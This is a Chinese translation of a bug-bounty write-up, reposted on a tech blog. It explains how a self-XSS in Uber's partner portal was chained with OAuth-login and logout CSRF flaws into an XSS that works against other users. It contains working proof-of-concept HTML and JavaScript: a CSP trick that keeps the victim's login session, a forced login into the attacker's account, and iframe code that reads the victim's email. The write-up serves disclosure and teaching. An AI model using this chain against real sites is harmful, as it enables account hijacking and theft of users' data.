优步漏洞悬赏:将self-xss变成可用的xss

2019-04-04 约 2727 字 预计阅读 6 分钟

声明:本文 【优步漏洞悬赏:将self-xss变成可用的xss】 由作者 Anciety 于 2018-12-01 08:21:00 首发 先知社区 曾经 浏览数 3430 次

感谢 Anciety 的辛苦付出!

优步漏洞悬赏:将self-xss变成可用的xss

在优步的partner入口,也就是司机们可以登录然后更新他们的细节的界面,我找到了一个非常简单经典的XSS:把个人信息的一项改为:

<script>alert(document.domain);</script>

会导致代码被执行,然后一个alert会弹出。


这个点在登录后用了两分钟就找到了,之后才是有意思的地方。

Self-XSS

有能力在其他界面的里执行额外的任意js代码被称作XSS(我觉得其实看我文章的99%都应该知道)。正常情况下,我们更希望针对其他用户来做XSS,这样才能拿到cookie,提交XHR请求之类的,如果你不能对其他用户做XSS,例如,这个代码只在你自己的账户里边执行了,这就叫self-xss。

现在我们找到的这个就好像是这种情况。你自己的个人信息界面里的地址部分只显示给你自己了(除非有其他的内部优步工具也显示了这个地址,但那种情况就不是我们正常考虑的了),我们也不能更改其他用户的地址来强制对他们进行XSS。

我其实一直不是很想提交有潜在的漏洞(在这个页面上的XSS还是挺酷的),所以我们来想想办法把self-xss中self的部分去了。

优步OAuth登录工作流程

优步用到的OAuth工作流程还是比较典型的:

  • 用户浏览到需要登录的优步网站,比如: `partners.uber.com``
  • 用户被重定向到授权服务器:`login.uber.com``
  • 用户输入口令
  • 用户带着一段code重定向回partners.uber.com,之后code可以被换成access token

为了防止在上面的截图里看的不够清楚,OAuth的回调:

/oauth/callback?code=...

里没有使用到推荐的state参数,这就导致了一个在登录功能里的可能不算很重要的CSRF漏洞。

另外,登出的功能也存在一个完全不算问题的CSRF漏洞。浏览到/logout会摧毁用户的partner.uber.com的session,然后重定向到login.uber.com的登出功能。

由于我们的payload只在账号内有效,我们需要把用户登录到我们的账号,这样就会执行我们的payload然而,把他们登录到我们的账号就会导致他们的session被摧毁,这样就导致这个漏洞的大部分价值也没了(因为没有办法再以他们账号的名义去执行行为),所以让我们来把这三个小问题(self-xss和两个CSRF)链在一起。

(关于OAuth安全的其他内容可以去查看@homakov的指导)

把小漏洞串起来

我们的计划有三个部分:

  • 第一,把用户从他们的partner.uber.comsession里登出,但是不登出login.uber.com的session,这保证我们可以登回他们的账号
  • 第二,把用户登录到我们的账号,这样payload就可以被执行
  • 最后,在代码还在执行的时候把他们登录回自己的账号,这样我们就可以获取到他们的信息了.

步骤1:仅登出一个domain

我们首先想要发出一个请求到:

这样我们就可以让他们登录自己的账号。但是问题在于到这个位置的请求会导致一个302重定向到:

https://login.uber.com/logout/

这样就会销毁掉session。我们没办法截断每一个重定向然后drop掉请求,因为是浏览器隐式的去follow的。但是一个我们可以用的trick是通过CSP来定义哪些源是允许加载的(我希望你可以看出来这里我们使用一个本应该在这个情况帮助缓解XSS的特性的讽刺意义。。)

我们把策略设置为仅允许请求到:

partners.uber.com

但是会阻挡:

https://login.uber.com/logout/
<!-- Set content security policy to block requests to login.uber.com, so the target maintains their session -->
<meta http-equiv="Content-Security-Policy" content="img-src https://partners.uber.com">
<!-- Logout of partners.uber.com -->
<img src="">

通过违反CSP的错误信息我们可以看到这个方法是可以的

步骤2:登录到我们的账号

这一步相对简单,我们发一个请求到:

https://parners.uber.com/login/

来初始化登录(这一步是必须的,否则应用程序不会接受回调函数),通过CSP trick我们防止了整个工作流被完成,之后我们填入我们自己的code(code可以通过登录进我们自己的账号去获取),这样就会登录进我们的账号了。

由于CSP违反会导致onerror事件handler被触发,我们可以通过这样的方式来跳入下一步:

<!-- Set content security policy to block requests to login.uber.com, so the target maintains their session -->
<!-- 设置CSP阻挡到login.uber.com的请求,这样目标就会维持他们的session -->
<meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">
<!-- Logout of partners.uber.com -->
<!-- 登出partners.uber.com -->
<img src="" onerror="login();">
<script>
    //Initiate login so that we can redirect them
    // 初始化login,这样我们就可以重定向了
    var login = function() {
        var loginImg = document.createElement('img');
        loginImg.src = 'https://partners.uber.com/login/';
        loginImg.onerror = redir;
    }
    //Redirect them to login with our code
    // 通过我们的代码重定向到login
    var redir = function() {
        //Get the code from the URL to make it easy for testing
        var code = window.location.hash.slice(1);
        var loginImg2 = document.createElement('img');
        loginImg2.src = 'https://partners.uber.com/oauth/callback?code=' + code;
        loginImg2.onerror = function() {
            //Redirect to the profile page with the payload
            window.location = 'https://partners.uber.com/profile/';
        }
    }
</script>

步骤3:切回我们的账号

这一段是会被包含为XSS payload的代码,存储在我们的账号里。

一旦payload被执行了,我们可以切回我们的账号。
必须在一个iframe里——我们得能够继续跑我们的代码。

// Create the iframe to log the user out of our account and back into theirs
// 创建一个iframe来登出用户的账号,然后登回我们的
var loginIframe = document.createElement('iframe');
loginIframe.setAttribute('src', 'https://fin1te.net/poc/uber/login-target.html');
document.body.appendChild(loginIframe);

iframe的内容再次使用了CSP的技巧:

<!-- Set content security policy to block requests to login.uber.com, so the target maintains their session -->
<!-- 设置CSP阻挡到lgoin.uber.com的请求,这样目标维持他们的session -->
<meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">
<!-- Log the user out of our partner account -->
<!-- 将用户从他们的partner账户中登出 -->
<img src="" onerror="redir();">
<script>
    //Log them into partners via their session on login.uber.com
    //通过login.uber.com的session登录到partners
    var redir = function() {
        window.location = 'https://partners.uber.com/login/';
    };
</script>

最后一部分是创建另外一个iframe,这样我们就可以获取一些数据了:

//Wait a few seconds, then load the profile page, which is now *their* profile
//等几秒钟,然后加载个人信息页面,也就是他们自己的信息
setTimeout(function() {
    var profileIframe = document.createElement('iframe');
    profileIframe.setAttribute('src', 'https://partners.uber.com/profile/');
    profileIframe.setAttribute('id', 'pi');
    document.body.appendChild(profileIframe);
    //Extract their email as PoC
    // 获取他们的邮件作为poc
    profileIframe.onload = function() {
        var d = document.getElementById('pi').contentWindow.document.body.innerHTML;
        var matches = /value="([^"]+)" name="email"/.exec(d);
        alert(matches[1]);
    }
}, 9000);

由于我们最后的iframe是和包含我们js的个人信息页同源的位置加载的,以及

X-Frame-Options

被设置为sameorigin
而不是deny,我们可以通过(contentWindow访问其中的内容)

总结

经过这一系列步骤的组合,我们得到了以下的攻击流:

  • 把步骤3里的payload加到我们自己的个人信息页
  • 登录进我们自己的账号,但是取消掉回调,然后记下没有用到的code参数
  • 让用户去访问我们在步骤2里创建的文件——这一步与你想进行反射XSS攻击的情况类似
  • 用户这时会被登出,然后登录进我们的账号
  • 步骤3里的payload被执行
  • 在隐藏iframe里,被攻击者被登出我们的账号
  • 在另外一个隐藏iframe里,被攻击者被登录进他们的账号
  • 现在我们有一个iframe,与包含用户session的同源

这个bug很有趣,而且证明了一个漏洞可以比原来以为的有更大的影响。

原文链接

https://whitton.io/articles/uber-turning-self-xss-into-good-xss/

关键词:[‘技术文章’, ‘翻译文章’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now